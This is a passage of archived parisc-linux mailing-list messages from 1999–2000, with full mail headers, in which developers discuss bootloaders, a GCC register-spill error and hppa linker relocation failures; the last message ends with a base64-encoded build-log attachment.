extant targets.


r~


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@SunSITE.auc.dk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ld problem workaround
Date: 06 May 1999 22:47:34 +0200
Organization: SunSITE Denmark Staff
Lines: 14
Approved: news@gmane.org
Message-ID: <yq17lqmj57d.fsf@jaguar.socsci.auc.dk>
References: <199905061842.LAA11719@gatekeeper.equator.com> <r2aevi3ujd.fsf@happy.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619415 8350 80.91.229.3 (22 Nov 2014 01:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mkp@socsci.auc.dk  Thu May  6 13:52:39 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA28658
	for <parisc-linux@puffin.external.hp.com>; Thu, 6 May 1999 13:52:38 -0600
Original-Received: (qmail 14389 invoked by uid 15267); 6 May 1999 20:48:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14381 invoked from network); 6 May 1999 20:48:39 -0000
Original-Received: from bentley.socsci.auc.dk (exim@130.225.60.48)
  by mailserv2.iuinc.com with SMTP; 6 May 1999 20:48:39 -0000
Original-Received: from jaguar.socsci.auc.dk ([130.225.60.49] ident=mkp)
	by bentley.socsci.auc.dk with esmtp (Exim 2.05 #2)
	id 10fV6Y-0004YX-00; Thu, 6 May 1999 22:50:50 +0200
Original-Received: (from mkp@localhost)
	by jaguar.socsci.auc.dk (8.8.8/8.8.8) id WAA17584;
	Thu, 6 May 1999 22:47:34 +0200
Original-Sender: mkp@socsci.auc.dk
In-Reply-To: Ulrich Drepper's message of "06 May 1999 11:47:02 -0700"
Original-Lines: 13
X-Mailer: Gnus v5.6.44/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8837

>>>>> "Ulrich" == Ulrich Drepper <drepper@cygnus.com> writes:

Ulrich> Jason Eckhardt <jason@equator.com> writes:
>> Hopefully, we can re-use much of the standard linux code, but I
>> haven't thought about this in detail yet.

Ulrich> Take a look at MILO, the Alpha bootloader. 

Or SILO, the SPARC bootloader.

-- 
Martin Kasper Petersen			BOFH, IC1&2, Aalborg University, DK
mailto:mkp@SunSITE.auc.dk		http://SunSITE.auc.dk/~mkp/


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sun, 10 Dec 2000 10:35:57 +1100 (EST)
Lines: 30
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012101028320.31734-100000@front.linuxcare.com.au>
References: <20001209105607.A5191@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619415 8351 80.91.229.3 (22 Nov 2014 01:23:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:35 +0000 (UTC)
Cc: Jeffrey A Law <law@redhat.com>,
        John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-bugs@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  9 16:33:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA11292
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 16:33:58 -0700
Original-Received: (qmail 9062 invoked by uid 15267); 9 Dec 2000 23:36:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9036 invoked from network); 9 Dec 2000 23:36:31 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 9 Dec 2000 23:36:31 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA32209;
	Sun, 10 Dec 2000 10:35:57 +1100
In-Reply-To: <20001209105607.A5191@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8838

On Sat, 9 Dec 2000, Richard Henderson wrote:

> On Sun, Dec 10, 2000 at 12:57:03AM +1100, Alan Modra wrote:
> > Grrr, that allocates r1 first, which loses on 32-bit hppa.
> 
> Err, elaborate on "loses".

Like so

/src/parisc/gcc-20001208/gcc/libgcc2.c: In function `__throw':
/src/parisc/gcc-20001208/gcc/libgcc2.c:4121: Unable to find a register to
spill in class `R1_REGS'.
/src/parisc/gcc-20001208/gcc/libgcc2.c:4121: This is the insn:

(insn 161 190 163 (set (reg/f:SI 21 %r21)
        (label_ref:SI 169)) 79 {*pa.md:2287} (nil)
    (expr_list:REG_EQUIV (label_ref:SI 169)
        (insn_list:REG_LABEL 169 (nil))))

> >       When allocating registers, do so according to REG_ALLOC_ORDER and
> > 	choose GENERAL_REGS.
> 
> The problem with this is that you've broken the ABI for all
> extant targets.

Pity.  It looked like a nice solution to me.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Sat, 9 Dec 2000 21:23:49 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200012100523.VAA11343@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619416 8355 80.91.229.3 (22 Nov 2014 01:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Dec  9 22:20:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA13043
	for <parisc-linux@puffin.external.hp.com>; Sat, 9 Dec 2000 22:20:23 -0700
Original-Received: (qmail 31337 invoked by uid 15267); 10 Dec 2000 05:23:06 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31330 invoked from network); 10 Dec 2000 05:23:06 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 10 Dec 2000 05:23:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id DE024927
	for <parisc-linux@thepuffingroup.com>; Sat,  9 Dec 2000 21:23:05 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id VAA11343
	for parisc-linux@thepuffingroup.com; Sat, 9 Dec 2000 21:23:49 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8839

Matt,
xc-latest.tar.gz points to xc-20001206.tar.gz.
Could latest be pointed to the previous version?

32-bit 1206 build dies in the link phase with:
...
hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2b8): cannot handle R_PARISC_PCREL17F for __up
hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2dc): cannot reach 00000010___down+0, recompile with -ffunction-sections
hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2dc): cannot handle R_PARISC_PCREL17F for __down
hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot reach 00000010_flush_instruction_cache+0, recompile with -ffunction-sections
hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot handle R_PARISC_PCREL17F for flush_instruction_cache
...

later,
grant


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Mon, 11 Dec 2000 00:02:57 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au>
References: <200012100523.VAA11343@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619416 8357 80.91.229.3 (22 Nov 2014 01:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: alan@linuxcare.com.au  Sun Dec 10 06:12:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA18909
	for <parisc-linux@puffin.external.hp.com>; Sun, 10 Dec 2000 06:12:50 -0700
Original-Received: (qmail 9266 invoked by uid 15267); 10 Dec 2000 13:15:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9205 invoked from network); 10 Dec 2000 13:15:21 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 10 Dec 2000 13:15:21 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA15071;
	Mon, 11 Dec 2000 00:02:57 +1100
In-Reply-To: <200012100523.VAA11343@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8840

On Sat, 9 Dec 2000, Grant Grundler wrote:

> Matt,
> xc-latest.tar.gz points to xc-20001206.tar.gz.
> Could latest be pointed to the previous version?
> 
> 32-bit 1206 build dies in the link phase with:
> ...
> hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2b8): cannot handle R_PARISC_PCREL17F for __up
> hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2dc): cannot reach 00000010___down+0, recompile with -ffunction-sections
> hppa-linux-ld: fs/fs.o(.text.load_elf_interp+0x2dc): cannot handle R_PARISC_PCREL17F for __down
> hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot reach 00000010_flush_instruction_cache+0, recompile with -ffunction-sections
> hppa-linux-ld: fs/fs.o(.text.load_aout_interp+0x11c): cannot handle R_PARISC_PCREL17F for flush_instruction_cache
> ...

This isn't necessarily a problem with Matt's latest compiler binary.  fs.o
is produced with a "ld -r" link stage, and it's text size is larger than
256k, so there is potential for branches to not be able to reach stubs.

ie. You may get these problems if
 a) You are using an older binutils (ie. not the latest pehc CVS version),
    and aren't using -ffunction-sections to compile the kernel
 b) You are using the very latest binutils, and aren't using
    -ffunction-sections, and I've goofed in my "ld -r" magic.

On a good fs.o, "hppa-linux-readelf -h fs.o" ought to show lots of .text.*
sections.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Roel Teuwen" <Roel.Teuwen@advalvas.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 32-bit xc-20001206.tar.gz is foobar
Date: Sun, 10 Dec 2000 16:38:10 +0100
Lines: 957
Approved: news@gmane.org
Message-ID: <005f01c062bf$3517ed50$0300000a@terra>
References: <Pine.LNX.4.21.0012102347330.31734-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_005C_01C062C7.957FD290"
X-Trace: ger.gmane.org 1416619416 8359 80.91.229.3 (22 Nov 2014 01:23:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:36 +0000 (UTC)
To: <parisc-linux@thepuffingroup.com>
Original-X-From: Roel.Teuwen@advalvas.be  Sun Dec 10 08:36:46 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA19926
	for <parisc-linux@puffin.external.hp.com>; Sun, 10 Dec 2000 08:36:41 -0700
Original-Received: (qmail 2915 invoked by uid 15267); 10 Dec 2000 15:39:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2900 invoked from network); 10 Dec 2000 15:39:24 -0000
Original-Received: from hercules.telenet-ops.be (HELO smtp.pandora.be) (195.130.132.33)
  by mailserv2.iuinc.com with SMTP; 10 Dec 2000 15:39:24 -0000
Original-Received: (qmail 17381 invoked from network); 10 Dec 2000 15:39:17 -0000
Original-Received: from unknown (HELO terra) ([213.224.58.111]) (envelope-sender <Roel.Teuwen@advalvas.be>)
          by hercules.telenet-ops.be (qmail-ldap-1.03) with SMTP
          for <parisc-linux@thepuffingroup.com>; 10 Dec 2000 15:39:17 -0000
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Xref: news.gmane.org gmane.linux.ports.parisc:8841

This is a multi-part message in MIME format.

------=_NextPart_000_005C_01C062C7.957FD290
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hello,

I am seeing the same error messages with the version fresh form CVS, the
build completes. The problem appeared a week or 2 ago.
The kernel is unable to boot, though, it dies with BUG() at bootmem.c:219

Regards,
Roel

------=_NextPart_000_005C_01C062C7.957FD290
Content-Type: application/x-gzip;
	name="log.gz"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="log.gz"

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
